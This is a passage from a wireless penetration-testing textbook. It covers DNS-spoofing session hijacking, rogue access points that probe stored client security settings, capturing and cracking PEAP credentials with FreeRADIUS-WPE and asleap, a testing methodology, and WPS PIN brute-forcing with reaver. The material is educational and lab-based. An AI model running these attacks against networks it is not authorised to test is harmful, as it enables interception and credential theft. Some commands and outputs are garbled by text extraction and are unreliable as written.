2 0.000603	D-Link_d2:8e:25	IntelCor_35:fc:44	ARP	192.168.0.1 is at 00:21:91:d2:8e:25
3 0.005758	192.168.0.197	192.168.0.1	DNS	Standard query A google.com
4 1.001276	192.168.0.197	192.168.0.1	DNS	Standard query A google.com
5 2.000004	192.168.0.197	192.168.0.1	DNS	Standard query A google.com
6 3.415114	D-Link_d2:8e:25	Broadcast	ARP	Who has 192.168.0.198? Tell 192.168.0.1
7 3.999838	192.168.0.197	192.168.0.1	DNS	Standard query A google.com
8 7.999001	192.168.0.197	192.168.0.1	DNS	Standard query A google.com
9 8.720771	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad
10 9.719183	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad
11 10.719577	192.168.0.197	192.168.0.1	DNS	Standard query ANY wpad

2. Apply a Wireshark filter for DNS and, as we can see, the victim is making DNS requests for https://www.google.com:

<u>7</u> 0				at0 - Wireshark	
<mark>Menu</mark> <u>E</u> dit _View _G	o <u>C</u> apture <u>A</u> nalyze	<u>S</u> tatistics Telephony <u>T</u> oo	ls <u>H</u> elp		
🗒 🕷 🗟 🌒	🅍 < 🗛 🗶	❷ 글 ९ ♀ () 🖇 🖸		••• 6
Filter: dns		💌 Exp	pression Cle	ear Apply	
No. Time	Source	Destination	Protoco	Info	
3 0.005758	192.168.0.197	192.168.0.1	DNS	Standard query A google.com	
4 1.001276	192.168.0.197	192.168.0.1	DNS	Standard query A google.com	
5 2.000004	192.168.0.197	192.168.0.1	DNS	Standard query A google.com	
7 3.999838	192.168.0.197	192.168.0.1	DNS	Standard query A google.com	
8 7.999001	192.168.0.197	192.168.0.1	DNS	Standard querv A google.com	
▶ Frame 5: 70 byt	es on wire (560 bits), 70 bytes captured (560 bits)		
Ethernet II, Sr	c: IntelCor_35:fc:44	(00:22:fb:35:fc:44),	Dst: D-Link	_d2:8e:25 (00:21:91:d2:8e:25)	
▶ Internet Protoc	ol, Src: 192.168.0.1	.97 (192.168.0.197), Ds	t: 192.168.	0.1 (192.168.0.1)	
▷ User Datagram P	rotocol, Src Port: @	3500 (63500), Dst Port	: domain (5	3)	
⊽ Domain Name Sys	tem (query)				
Transaction I	D: 0x72a3				
▶ Flags: 0x0100	(Standard query)				
Questions: 1					
Answer RRs: 0					
Authority RRs	: 0				
Additional RR	s: 0				
⊽ Queries					
⊽ google.com:	type A, class IN				
Name: goo	gle.com				
Type: A (Host address)				
Class: IN	(0x0001)				

3. In order to hijack the browser session, we will need to send fake DNS responses that will resolve the IP address of https://www.google.com to the hacker machine's IP address 192.168.0.199. The tool that we will use for this is called dnsspoof and the syntax is as follows:

```
dnspoof -i mitm-bridge
```

The output of the command is as follows:



4. Refresh the browser windows and now, as we can see through Wireshark, as soon as the victim makes a DNS request for any host (including google.com), Dnsspoof replies back:

<u>n</u> 0				Captur	ing from at0 - W	ireshark		
<u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>G</u> o	<u>Capture Analyze Stati</u>	stics Telephony Tools !	Help				
a,		🖦 🗠 🖬 🗶 🙆				4 🕳 🙎		$\nabla $
Filter	r: dns		▼ Express	sion Cle	ear Apply			
No.	Time	Source	Destination	Protoco	Info			
	5 7.502037	192.168.0.197	192.168.0.1	DNS	Standard query	A google.com		
	8 7.509354	192.168.0.1	192.168.0.197	DNS	Standard query	response A 19	92.168.0.199	
	15 9.074664	192.168.0.197	192.168.0.1	DNS	Standard query	A download.di	ivx.com	
	16 9.075605	192.168.0.1	192.168.0.197	DNS	Standard query	response A 19	92.168.0.199	
	18 10.569675	192.168.0.197	192.168.0.1	DNS	Standard query	A www.stopbad	dware.org	
	19 10.569832	192.168.0.1	192.168.0.197	DNS	Standard query	response A 19	92.168.0.199	
Í								
Í								

Þ Fr	ame 8: 86 bytes	on wire (688 bits), 8	6 bytes captured (688	bits)				
▶ Et	hernet II, Src:	Alfa_3e:bd:93 (00:c0:	ca:3e:bd:93), Dst: In	telCor_3	5:fc:44 (00:22:	fb:35:fc:44)		
Þ In	iternet Protocol	., Src: 192.168.0.1 (19	2.168.0.1), Dst: 192.	168.0.19	7 (192.168.0.19	7)		
▶ Us	er Datagram Pro	tocol, Src Port: domai	n (53), Dst Port: 526	64 (5266	(4)			
⊽ Do	main Name Syste	m (response)						
	[Request In: 5]							
	[Time: 0.007317	′000 seconds]						
	Transaction ID:	0xd51d						
Þ	Flags: 0x8180 (Standard query respons	e, No error)					
	Questions: 1							
	Answer RRs: 1							
	Authority RRs:	0						
	Additional RRs:	0						
⊳	Queries							
~	Answers							
	⊽ google.com: t	ype A, class IN, addr	192.168.0.199					
	Name: googl	.e.com						
	Type: A (Ho	ost address)						
	Class: IN (0x0001)						
	Time to liv	/e: 1 minute						
	Data length	1: 4						
	Addr: 192.1	.68.0.199 (192.168.0.19	9)					

Advanced WLAN Attacks

5. On the victim's machine, we see an error that says **Unable to connect**. This is because we made the IP address for google.com as 192.168.0.199, which is the hacker machine's IP, but there is no service listening on port 80:



 Let's run Apache on Kali using the following command: apachet2ct1 start

The output of the command is as follows:



7. Now, once we refresh the browser on the victim, we are greeted with the **It Works!** default page of Apache:



8. This demonstration shows how it is possible to intercept data and send spoofed responses to hijack sessions on the victim.

What just happened?

We did an application hijacking attack using a Wireless MITM as the base. So what happened behind the scenes? The MITM setup ensured that we were able to see all the packets sent by the victim. As soon as we saw a DNS request packet coming from the victim, the Dnsspoof program running on the attacker's laptop sent a DNS response to the victim with the attacker machine's IP address that of google.com. The victim's laptop accepted this response and the browser sent an HTTP request to the attacker's IP address on port 80.

In the first part of the experiment, there was no listening process on port 80 of the attacker's machine and thus, Firefox responded with an error. Then, once we started the Apache server on the attacker's machine on port 80 (the default port), the browser's requested received a response from the attacker's machine with the default **It Works!** page.

This lab shows us that, once we have full control of the lower layers (Layer 2 in this case), it is easy to hijack applications running on higher layers such as DNS clients and web browsers.

Have a go hero – application hijacking challenge

The next step in session hijacking using a wireless MITM will be to modify the data being transmitted by the client. Explore software available on Kali called **Ettercap**. This will help you create search and replace filters for network traffic.

In this challenge, write a simple filter to replace all occurrences of security in the network traffic to insecurity. Try searching Google for security and check whether the results show up for insecurity instead.

Finding security configurations on the client

In previous chapters, we have seen how to create Honeypots for open access points, WEP-protected and WPA, but, when we are in the field and see Probe Requests from the client, how do we know which network the probed SSID belong to?

Though this seems tricky at first, the solution to this problem is simple. We need to create access points advertising the same SSID but with different security configurations simultaneously. When a roaming client searches for a network, it will automatically connect to one of these access points based on the network configuration stored on it.

So, let the games begin!

Time for action – deauthentication attacks on the client

1. We will assume that the wireless client has a network Wireless Lab configured on it, and it actively sends Probe Requests for this network, when it is not connected to any access point. In order to find the security configuration of this network, we will need to create multiple access points. For our discussion, we will assume that the client profile is an open network, WEP protected, WPA-PSK, or WPA2-PSK. This means we will have to create four access points. To do this, we will first create four virtual interfaces—mon0 to mon3, using the airmon-ng start wlan0 command multiple times:

root@kali:∼# ai	mon-ng start wlanO
Found 3 process If airodump-ng, a short period	es that could cause trouble. aireplay-ng or airtun-ng stops working after f time, you may want to kill (some of) them!
PID Name 2902 Network 3201 wpa_sup 2212 dbcliop	lanager Licant
Process with PI	0 4114 (airbase-ng) is running on interface monO
Interface	Chipset Driver
wlan0	Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon2)
mon0 monl	Ralink RT2870/3070 rt2800usb - [phy0] Ralink RT2870/3070 rt2800usb - [phy0]

2. You can view all these newly created interfaces using the ifconfig -a command:



3. Now we will create the open AP on mon0:



4. Let's create the WEP protected AP on mon1:



5. The WPA-PSK AP will be on mon2:



6. WPA2-PSK AP will be on mon3:



7. We can run airodump-ng on the same channel to ensure that all four access points are up and running, as shown in the following screenshot:

BSSID	PWR	Beacons	#Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:08:38:7C:D0:8D DD:DD:DD:DD:DD:DD BB:BB:BB:BB:BB:BB CC:CC:CC:CC:CC 80:1F:02:8F:34:D5 AA:AA:AA:AA:AA:AA 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08	-93 0 0 0 -81 -88	3 35 35 35 80 79 3 4	0 0 0 0 0 4	0 0 0 0 0 0	6 3 255 3 11 3 11 1 1	54 54 54 54 54 54 54e 54e	WPA2 WPA2 WPA OPN OPN WPA2 WPA	CCMP TKIP WEP TKIP CCMP TKIP	PSK PSK PSK PSK PSK	Downstairs Wireless Lab Wireless Lab mitm Wireless Lab Wireless Lab everythingwill Upstairs

8. Now let's switch the Wi-Fi on on the roaming client. Depending on which **Wireless** Lab network you connected it to previously, it will connect to that security configuration. In my case, it connects to the WPA-PSK network, as shown in the following screenshot:

oot@kali:	∼# airb	ase-ng	essid "W	ireles	s Lab"	-a AA:AA:A/	: AA :	AA:AA -c	3 mon0
or information, no action required: Using gettimeofday() instead of /dev/rtc									
2:10:20	Created	tap in	terface at	1					
2:10:20	Trying	to set	MTU on atl	to 15	00				
2:10:20	Access	Point w	ith BSSID	AA:AA:	AA:AA:	AA: AA starte	d.		
rror: Got	channe	l -1, e	xpected a	value	> 0.				
2:10:41 .ab"	Client	20:10:7	A:45:36:61	assoc	iated	(unencrypted) to	ESSID:	"Wireless
.2:10:41 .ab"	Client	20:10:7	A:45:36:61	assoc	iated	(unencrypted) to	ESSID:	"Wireless
2:10:41 ab"	Client	20:10:7	A:45:36:61	assoc	iated	(unencrypted) to	ESSID:	"Wireless

What just happened?

We created multiple Honeypots with the same SSID but different security configurations. Depending on which configuration the client had stored for the "Wireless Lab" network, it connected to the appropriate one.

This technique can come in handy as, if you are doing a penetration test, you won't know which security configurations the client has on its laptop. This allows you to find the appropriate one by setting a bait for the client. This technique is also called **WiFishing**.

Have a go hero – baiting clients

Create different security configurations on the client for the same SSID, and check whether your set of Honeypots is able to detect them.

It is important to note that many Wi-Fi clients might not actively probe for networks they have stored in their profile. It might not be possible to detect these networks using the technique we discussed here.

Pop quiz – advanced WLAN attacks

Q1. In an MITM attack, who is in the middle?

- 1. The access point.
- 2. The attacker.
- 3. The victim.
- 4. None of the above.

Q2. Dnsspoof:

- 1. Spoofs DNS requests.
- 2. Spoofs DNS responses.
- 3. Needs to run on the DNS server.
- 4. Needs to run on the access point.

Q3. A wireless MITM attack can be orchestrated:

- 1. On all wireless clients at the same time.
- 2. Only one channel at a time.
- 3. On any SSID.
- 4. Both 3 and 4.

Q4. Which is the interface closest to the victim in our MITM setup?

- 1. At0.
- 2. Eth0.
- 3. Br0.
- 4. En0.

Summary

In this chapter, we learned how to conduct advanced attacks using wireless as the base. We created a setup for a MITM attack over wireless and then used it to eavesdrop on the victim's traffic. We then used the same setup to hijack the application layer of the victim (web traffic, to be specific) using a DNS poisoning attack.

In the next chapter, we will learn how to conduct a wireless penetration test right from the planning, discovery, and attack to the reporting stage. We will also touch upon the best practices to secure WLANs.

8 Attacking WPA-Enterprise and RADIUS

"The bigger they are, the harder they Fall."

Popular Saying

WPA-Enterprise has always had an aura of unbreakable ability around it. Most network administrators think of it as a panacea for all their wireless security problems. In this chapter, we will see that nothing could be further from the truth.

In this chapter, we will learn how to attack WPA-Enterprise using different tools and techniques available on Kali.

In this chapter, we will cover the following topics:

- Setting up FreeRADIUS-WPE
- Attacking PEAP on Windows clients
- Security best practices for Enterprises

Setting up FreeRADIUS-WPE

We will need a RADIUS server for orchestrating WPA-Enterprise attacks. The most widely used open source RADIUS server is FreeRADIUS. However, setting it up is difficult and configuring it for each attack can be tedious.

Joshua Wright, a well-known security researcher, created a patch for FreeRADIUS that makes it easier to set up and conduct attacks. This patch was released as the FreeRADIUS-WPE (**Wireless Pwnage Edition**). Kali doesn't naturally come with FreeRADIUS-WPE, so you need to perform the following steps to set up FreeRADIUS-WPE:

1. Navigate to https://github.com/brad-anton/freeradius-wpe and you will find the downloaded link at https://github.com/brad-anton/ freeradius-wpe/raw/master/freeradius-server-wpe_2.1.12-1_i386. deb:



Once it is downloaded, install it with dpkg -i freeradius-server-wpe_2.1.12-1_ i386.deb followed by ldconfig:



Let's now quickly set up the RADIUS server on Kali.

Time for action – setting up the AP with FreeRADIUS-WPE

Follow these instructions to get started:

 Connect one of the LAN ports of the access point to the Ethernet port on your machine running Kali. In our case, the interface is eth0. Bring up the interface and get an IP address by running DHCP, as shown in the following screenshot:

```
root@kali:~# dhclient eth0
Reloading /etc/samba/smb.conf: smbd only.
RTNETLINK answers: File exists
root@kali:~# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=128 time=0.992 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=128 time=0.820 ms
^C
--- 192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.820/0.906/0.992/0.086 ms
root@kali:~#
```

2. Login to the access point and set the security mode to WPA/WPA2-Enterprise, set Version to WPA2, Encryption to AES. Then, under the EAP (802.1x) section, enter the Radius Server IP address as your Kali build's IP address. The Radius Password will be test, as shown in the following screenshot:

WPA/WPA2 - Enterprise	se
Version:	WPA2 \$
Encryption:	AFS \$
Radius Server IP:	192.168.0.130
Radius Port	1812 (1-65535, 0 stands for default port 1812)
Radius Password:	test
Group Key Update Period:	0 (in second, minimum is 30, 0 means no update)

3. Let's now open a new terminal and go to the directory /usr/local/etc/raddb. This is where all the FreeRADIUS-WPE configuration files are:

<pre>root@kali:/usr/local/etc/r</pre>	addb# ls		
acct_users	clients.conf	ldap.attrmap	sites-available
attrs	dictionary	modules	sites-enabled
attrs.access_challenge	eap.conf	policy.conf	sql
attrs.access_reject	example.pl	policy.txt	sql.conf
attrs.accounting_response	experimental.conf	preproxy_users	sqlippool.conf
attrs.pre-proxy	hints	proxy.conf	templates.conf
certs	huntgroups	radiusd.conf	users

4. Let's open eap.conf. You will find that the default_eap_type command is set to MD5. Let's change this to peap:



5. Let's open clients.conf. This is where we define the allowed list of clients that can connect to our Radius server. Interestingly, if you browse right to the bottom, ignoring the example settings, the secret for clients in the range 192.168.0.0/16 defaults to test. This is exactly what we used in step 2:



6. We are now all set to start the RADIUS server with the radiusd -s -x command:



7. Once you run this, you will see a lot of debug messages on the screen, but eventually the server will settle down to listen for requests. Awesome! We are all set now to start our lab sessions in this chapter:

Chapter 8



What just happened?

We have successfully set up FreeRADIUS-WPE. We will use this in the rest of the experiments that we will do in this chapter.

Have a go hero – playing with RADIUS

FreeRADIUS-WPE has tons of options. It may be a good idea to familiarize yourself with them. Most importantly, take time to check out the different configuration files and how they all work together.

Attacking PEAP

Protected Extensible Authentication Protocol (PEAP) is the most popular version of EAP in use. This is the EAP mechanism shipped natively with Windows.

PEAP has two versions:

- PEAPv0 with EAP-MSCHAPv2 (the most popular as this has native support on Windows)
- PEAPv1 with EAP-GTC
Attacking WPA-Enterprise and RADIUS

PEAP uses server-side certificates for validation of the RADIUS server. Almost all attacks on PEAP leverage misconfigurations in certificate validation.

In the next lab, we will take look at how to crack PEAP when certificate validation is turned off on the client.

Time for action – cracking PEAP

Follow the given instructions to get started:

1. We double-check the eap.conf file to ensure that PEAP is enabled:



2. We then restart the RADIUS server with radiusd -s -X:



3. We monitor the log file created by FreeRADIUS-WPE:

root@kali:/usr/local/var/log/radius# tail -f freeradius-server-wpe.log

4. Windows has native support for PEAP. Let's ensure that certificate verification has been turned off:

Protected EAP Properties	
When connecting:	
🔲 Validate server certificate	
Connect to these servers:	
Tructed Bast Cartification Authorities	
Trasted Root Cerdincation Authorities:	
AddTrust External CA Root	
America Online Root Certification Authority 1	
avast! Mail Scanner Root	
Baltmore Cyber Irust Root	
Certum CA	
Class 2 Primary CA	
Class 3 Public Primary Certification Authority	
• · · · · · · · · · · · · · · · · · · ·	
Do not prompt user to authorize new servers or trusted certification authorities.	
Select Authentication Method: Secured password (EAP-MSCHAP v2) Configure Enable Fast Reconnect Enforce Network Access Protection Disconnect if server does not present cryptobinding TLV Enable Identity Privacy OK Cancel	

Attacking WPA-Enterprise and RADIUS

5. We need to click on the **Configure** tab that is next to **Secured password** and tell Windows not to automatically use our Windows logon name and password:



6. We will also have to force it to select **User authentication** in the **Advanced Settings** dialog box:

A	dvanced settings
	802.1X settings 802.11 settings
	Specify authentication mode:
	User authentication Save credentials
	Delete credentials for all users
	Enable single sign on for this network
	Perform immediately before user logon
	Perform immediately after user logon
	Maximum delay (seconds):
	Allow additional dialogs to be displayed during single sign on
	This network uses separate virtual LANs for machine and user authentication
	OK Cancel

- [164] -

7. Once the client connects to the access point, the client is prompted for a user name and password. We use Monster as the user name and abcdefghi as the password:

Windows Security		Barnelaning		No.	x
Network Au Please enter us	uthentication er credentials				
	User name Password				
			ОК	Ca	ncel

8. As soon as we do this, we are able to see the **MSCHAP-v2** challenge response appear in the log file:



9. We now use asleap to crack this using a password list file that contains the password abcdefghi, and we are able to crack the password! (For the purposes of this demonstration, we simply created a one-line file called list with the password in it):

<pre>root@kali:/usr/local/var/local/</pre>	og/radius# asleap -C fe:94:f3:d9:9b:13:54:b9 -R db:68:
44:c6:7b:6d:f8:05:b2:1c:86	:2f00a:18:3b:d0:13:e0:21:00:f1:69:17:fc -W list
asleap 2.2 - actively reco	ver LEAP/PPTP passwords. <jwright@hasborg.com></jwright@hasborg.com>
Using wordlist mode with "	list".
hash bytes:	9052
NT hash:	e18614f7c6811f043fbf54205e929052
password:	abcdefghi

Attacking WPA-Enterprise and RADIUS

What just happened?

We set up our Honeypot using FreeRADIUS-WPE. The enterprise client is misconfigured to not use certificate validation with PEAP. This allows us to present our own fake certificate to the client, which it gladly accepts. Once this happens, MSCHAP-v2, the inner authentication protocol, kicks in. As the client uses our fake certificate to encrypt the data, we are easily able to recover the username, challenge, and response tuples.

MSCHAP-v2 is prone to dictionary attacks. We use asleap to crack the challenge and response pair, as it seems to be based on a dictionary word.

Have a go hero – attack variations on PEAP

PEAP can be misconfigured in multiple ways. Even with certificate validation enabled, if the administrator does not mention the authentic servers in connect to these servers list, the attacker can obtain a real certificate for another domain from any of the listed certifying authorities. This will still be accepted by the client. Other variations of this attack are possible as well.

We will encourage you to explore the different possibilities in this section.

EAP-TTLS

We encourage you to try attacks similar to those we have suggested for PEAP against EAP-TTLS.

Security best practices for Enterprises

We have seen a ton of attacks against WPA/WPA2, both Personal and Enterprise. Based on our experience, we recommend the following:

- For SOHOs and medium-sized businesses, use WPA2-PSK with a strong passphrase. You have up to 63 characters at your disposal. Make use of them.
- For large enterprises, use WPA2-Enterprise with EAP-TLS. This uses both the client- and server-side certificates for authentication, and currently is unbreakable.
- If you have to use PEAP or EAP-TTLS with WPA2-Enterprise, then ensure that certificate validation is turned on, the right certifying authorities are chosen, RADIUS servers that are authorized are used, and finally, that any setting that allows users to accept new RADIUS servers, certificates, or certifying authorities is turned off.

Pop quiz – attacking WPA-Enterprise and RADIUS

- Q1. Which of the following is FreeRADIUS-WPE?
 - 1. A RADIUS server written from scratch.
 - 2. A patch to the FreeRADIUS server.
 - 3. Ships by default on all Linuxes.
 - 4. None of the above.
- Q2. Which of the following can be used to attack PEAP?
 - 1. Fake credentials.
 - 2. Fake certificates.
 - 3. Using WPA-PSK.
 - 4. All of the above.
- Q3. What does EAP-TLS use?
 - 1. Client-side Certificates.
 - 2. Server-side certificates.
 - 3. Either 1 or 2.
 - 4. Both 1 and 2.
- Q4. What does EAP-TTLS use?
 - 1. Client-side certificates only.
 - 2. Server-side certificates.
 - 3. Password-based authentication.
 - 4. LEAP.

Summary

In this chapter, we saw how we could compromise the security of a WPA-Enterprise network running PEAP or EAP-TTLS, the two most common authentication mechanisms used in Enterprises.

In the next chapter, we will take a look at how to put all that we have learned into use during an actual penetration test.

9 WLAN Penetration Testing Methodology

"The proof is in the pudding."

Popular saying

This chapter will lay out the steps that go in to taking the techniques taught in the previous chapters and turning them into a full wireless penetration test.

Wireless penetration testing

To perform a wireless penetration test, it is important to follow a defined methodology. Simply firing up the airbase or airodump command and hoping for the best will not satisfy the goals of a test. When working as a penetration tester, you must ensure that you adhere to the standards of the organization you're working for, and if they don't have any, then you should hold yourself to the highest standards.

Broadly, we can break up a wireless penetration testing exercise into the following phases:

- 1. Planning phase.
- 2. Discovery phase.
- 3. Attack phase.
- 4. Reporting phase.

We will now look at each of these phases separately.

Planning

In this phase, we must understand the following:

- Scope of the assessment: The penetration tester should work with the client to define a scope that is achievable and will also provide the greatest amount of insight into the security of a network. Typically, the following information is gathered:
 - Location of the penetration test
 - Total coverage area of the premises
 - Approximate number of access points and wireless clients deployed
 - Which wireless networks are included in the assessment?
 - □ Is exploitation in scope?
 - Are attacks against users in scope?
 - □ Is denial of service in scope?
- Effort estimation: Based on the scope defined, the tester will then have to estimate how much time is required. Bear in mind that rescoping may occur following this estimate, as organizations may have limited resources available in terms of both time and money.
- Legality: Prior to performing a test, the client must give consent. This should explain the testing to be covered and clearly define the level of indemnity, insurance, and the limitations of the scope. If you are unsure, you will need to speak to a professional in these areas. Most organizations will have their own versions that will likely also incorporate an Non-Disclosure Agreement (NDA).

Once all of the preceding requirements are in place, we are ready to go!

Discovery

In this phase, the aim is to identify and apply characteristics to the wireless devices and wireless networks within the scope.

All the techniques to perform these have been laid out in the previous chapters but, in brief, the aim is to:

- Enumerate visible and hidden wireless networks in the area
- Enumerate devices in the area, along with those connected to the targeted networks
- Map the range of the networks, where they are reachable from and whether there are places a malicious individual could operate from to perform an attack, for example, a cafe.

All of this information should be recorded. If the test is limited to the performance of reconnaissance only, the test will end here, and the tester will attempt to draw conclusions based on this information. Some statements that would be useful to a client are be as follows:

- The number of devices that have associations with open networks and the corporate network
- The number of devices that have networks that can be linked to locations through solutions such as WiGLE
- The existence of weak encryption
- The networks set up are too strong

Attack

Once reconnaissance has been performed, exploitation must be performed for proof of concept. If the attack is being performed as part of a red team or wider assessment, then exploitation should be performed to gain access to the network as surreptitiously as possible.

In our attacking phase, we will explore the following:

- Cracking the encryption
- Attacking the infrastructure
- Compromising clients
- Finding vulnerable clients
- Finding unauthorized clients

Cracking the encryption

The first step is to retrieve the keys for any vulnerable networks identified. If networks with WEP exist, perform the WEP-cracking methods explained in *Chapter 4, WLAN Encryption Flaws*. If WPA2-secured systems are present, you have two choices. If aiming to be stealthy, arrive on-site at times when individuals are likely to be authenticating or re-authenticating. These times are likely to be:

- Start of the day
- Lunch time
- End of the day

At this time, set up your WPA key retrieval setup as shown in *Chapter 4, WLAN Encryption Flaws*. Alternatively, perform the deauthentication attack, as shown in *Chapter 6, Attacking the Client*.

This is noisier and more likely to be detected in a mature organization.

If WPA-Enterprise is in place, bear in mind you will have to use the information gathered from the reconnaissance to target the correct network and set up your dummy Enterprise setup as shown in the *Attacking PEAP* section in *Chapter 8, Attacking WPA-Enterprise and RADIUS*.

You can attempt to break all passphrases but bear in mind that some will be unbreakable. Following the performance of the test, check with the wireless administrator for the passphrase in use. Check to see whether it is a secure passphrase and that you, as a tester, did not experience a tool failure or were merely unlucky.

Attacking infrastructure

If network access is gained through cracking the encryption, perform a standard network penetration test if allowed in scope. The following should be performed as a minimum:

- A port scan
- Identifying which services are running
- Enumerating any open services, such as unauthenticated FTP, SMB, or HTTP
- Exploiting any vulnerable services identified

Compromising clients

After enumerating and testing all wireless systems, there are various types of engagements that would suit performing attacks against clients.

If necessary, after establishing which clients are vulnerable to Karma attacks, create a Honeypot to force them to connect with the methods laid out in the *Attacking PEAP* section in *Chapter 8*, *Attacking WPA-Enterprise and RADIUS*. There are various useful pieces of information that can be gathered through this method, but ensure that the collected data serves a purpose and is stored, transmitted, and used in an ethical and safe manner.

Reporting

Finally, at the end of testing, it is necessary to report your findings to the client. It's important to ensure that the report matches the quality of your testing. As the client will only see the report, you have to give it as much love and attention as you do to your testing. The following is a guideline to the layout of the report:

- 1. Management summary.
- 2. Technical summary.

- 3. Findings:
 - Vulnerability description
 - Severity
 - Affected devices
 - Vulnerability type—software/hardware/configuration
 - Remediation
- 4. Appendices.

The management summary should be aimed at talking to a senior nontechnical audience with a focus on the effects and mitigations required at a high level. Avoid language that is too technical and ensure that the root causes are covered.

The technical summary should be a midpoint between the management summary and findings list. It should be aimed at a developer or a technical lead with a focus on how to fix the issues and broad solutions that could be implemented.

The findings list should describe each vulnerability at a low level, explaining the methods to identify, and replicate, and vulnerabilities.

Appendices should contain any extra information that would be too long to describe in a short description. This is where any screenshots, proof-of-concept code, or stolen data should be presented.

Summary

In this chapter, we discussed a methodology for performing a range of wireless tests and referred to the relevant chapters for each step. We also listed methods for reporting vulnerabilities and techniques for making technical data presentable. In the next and final chapter, we will cover new techniques developed since the initial publication of this book, WPS, and probe monitoring for surveillance.

10 WPS and Probes

"Nothing is new under the sun."

Popular Saying

This chapter incorporates the new techniques related to attacking WPS and probe monitoring and also covers the pineapple tool that makes much of wireless testing a lot easier. These attacks and tools have appeared since the publication of the original book, and we'll be making sure we're being as holistic as possible.

WPS attacks

Wireless Protected Setup (WPS) was introduced in 2006 to help users without wireless knowledge to have secure networks. The idea was that their Wi-Fi device would have a single hidden hardcoded value that would allow access with key memorization. New devices would be authenticated through a button press on the Wi-Fi router. Individuals outside the house without access to the device would not be able to have access, thus reducing the issues surrounding remembering WPA keys or setting short ones.

In late 2011, a security vulnerability was disclosed enabling brute force attacks on the WPS authentication system. The traffic required to negotiate a WPS exchange was spoofable, and the WPS pin itself is only eight characters between 0-9. To start with, this provides only 100,000,000 possibilities in comparison with an eight character azAZ09 password having 218,340,105,584,896 combinations.

WPS and Probes

However, there are further vulnerabilities:

- Of the eight characters of the WPS pin, the last character is a checksum of the previous seven and therefore predictable, leaving a maximum of 10,000,000 options
- In addition, the first four and the following three of the remaining characters are checked separately, which means that there are 10⁴ + 10³ options or 11,000

Through the two decisions made in the authentication mechanism, we have gone from 100,000,000 possible combinations to 11,000. This equates to a six-hours difference when brute-forcing the algorithm. It is these decisions that make attacks against WPS viable.

In the next lab exercise, we will go through identifying and attacking vulnerable WPS setups with Wash and Reaver.

Time for action – WPS attack

Follow the given instructions to get started:

 Before we attack a WPS-enabled access point, we need to create one. The TP-Link we use has this feature turned on by default, which is worrying but handy. To double-check this, we can log onto our router and click on WPS. It should look like the following:

TP-LINK	(°		
Status			
Quick Setup	WPS (Wi-Fi Protected	Setup)	
WPS			
Network	WPS Status:	Enabled Disable WPS	
Wireless			
DHCP			
Forwarding	Current PIN:	66453608 Restore PIN Gen New PIN	
Security		Disable PIN of this device	
Parental Control			
Access Control	Add a new device:	Add Device	
Advanced Routing			
Bandwidth Control			
IP & MAC Binding			
Dynamic DNS			
System Tools			

2. Now we've confirmed that it's ready. We need to set up our target. We need to set up our testing environment. We're going to use the Wash tool, and Wash requires a monitoring interface to function. As we have done many times before, we need to set up one with the following command:



The output will be as follows:

root@kali:~# airmon-ng start wlan0
Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2898 NetworkManager
3242 anclient
5610 dbc_iont
Droces with DID 5640 (delignt) is running on interface with
FIGUESS WITH FID 5040 (directient) is fullining of interface weard
Interface Chipset
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)

3. We have a monitoring interface set up as mon0, and we can call Wash with the following command:

wash --ignore-fcs -i mon0

The ignore fcs option is due to an issue with an expected format for requests that wash causes:



4. Wash will display all the nearby devices that support WPS as well as whether they have WPS active or unlocked and what version is running:

<mark>root@kali</mark> :~# wash - Wash vl.4 WiFi Prot Copyright (c) 2011, l.com>	-ignore-fcs -i ected Setup Sc Tactical Netw	. mon0 an Tool rork Solutior	s, Craig Heffne	er <cheffner@tacnetso< th=""></cheffner@tacnetso<>
BSSID ESSID	Channel	RSSI	WPS Version	WPS Locked
E8:94:F6:62:1E:8E Wireless Lab	3	-50	1.0	No

WPS and Probes

- **5.** We can see the Wireless Lab network supports WPS. It uses Version 1 and it's not locked. Fantastic. We take note of the MAC address, which in my case is E8:94:F6:62:1E:8E, as this will be used to target our next tool: reaver.
- **6.** Reaver attempts to brute-force the WPS pin for a given MAC address. The syntax for starting this is as follows:

reaver -i mon0 -b <mac> -vv

The output will be as follows:



7. Once it is started, the tool runs through all the possible combinations for the WPS and attempts to authenticate. Once it does this, it will return the WPS code and the password, as shown in the following screenshot:

[+]	Nothing done, nothing to save.
[+]	100.00% complete @ 2014-12-15 22:47:47 (0 seconds/pin)
[+]	Max time remaining at this rate; (undetermined) (0 pins left to try)
[+]	Pin cracked in 2576 seconds
[+]	WPS PIN: '88455808'
[+]	WPA PSK: '88455808'
[+]	AP SSID: 'Wireless Lab ^{the} quieter you become, the more you are able to hear.
[+]	Nothing done, nothing to save.

8. With WPA-PSK in hand, we can authenticate normally now. I left my device with the default WPA-PSK that matches the WPS pin. If, however, you want to authenticate with the WPS pin, you can do this by specifying the pin in reaver with the following command:

reaver -i mon0 -b <mac> -vv -p 88404148

Replace my pin with your own.

What just happened?

We successfully identified a wireless network with a vulnerable instance of WPS active with Wash. We then used Reaver to recover the WPA key and the WPS pin. With this information, we could then authenticate with the network and continue a network penetration test.

Have a go hero – rate limiting

In the previous exercise, we attacked an entirely unprotected WPS installation. There are multiple methods that can be used to further secure installations without removing WPS altogether.

Make an attempt to set the WPS pin to an arbitrary value and try again, to see whether Reaver is as effective at cracking it.

Acquire a wireless router that allows you to rate-limit the WPS attempts. Try and configure your attack to avoid triggering lockouts.

Probe sniffing

We have spoken about probes previously, and how they can be used to identify hidden networks and perform effective rogue access point attacks. They can also be used to identify individuals as targets or track them on a mass scale with minimal equipment.

When a device wishes to connect to a network, it sends a probe request that contains its own MAC address and the name of the network it wishes to connect to. We can use tools such as airodump-ng to track these. However, if we wish to identify whether an individual was present at a specific location at a specific time or look for trends in Wi-Fi usage, we will need to use a different approach.

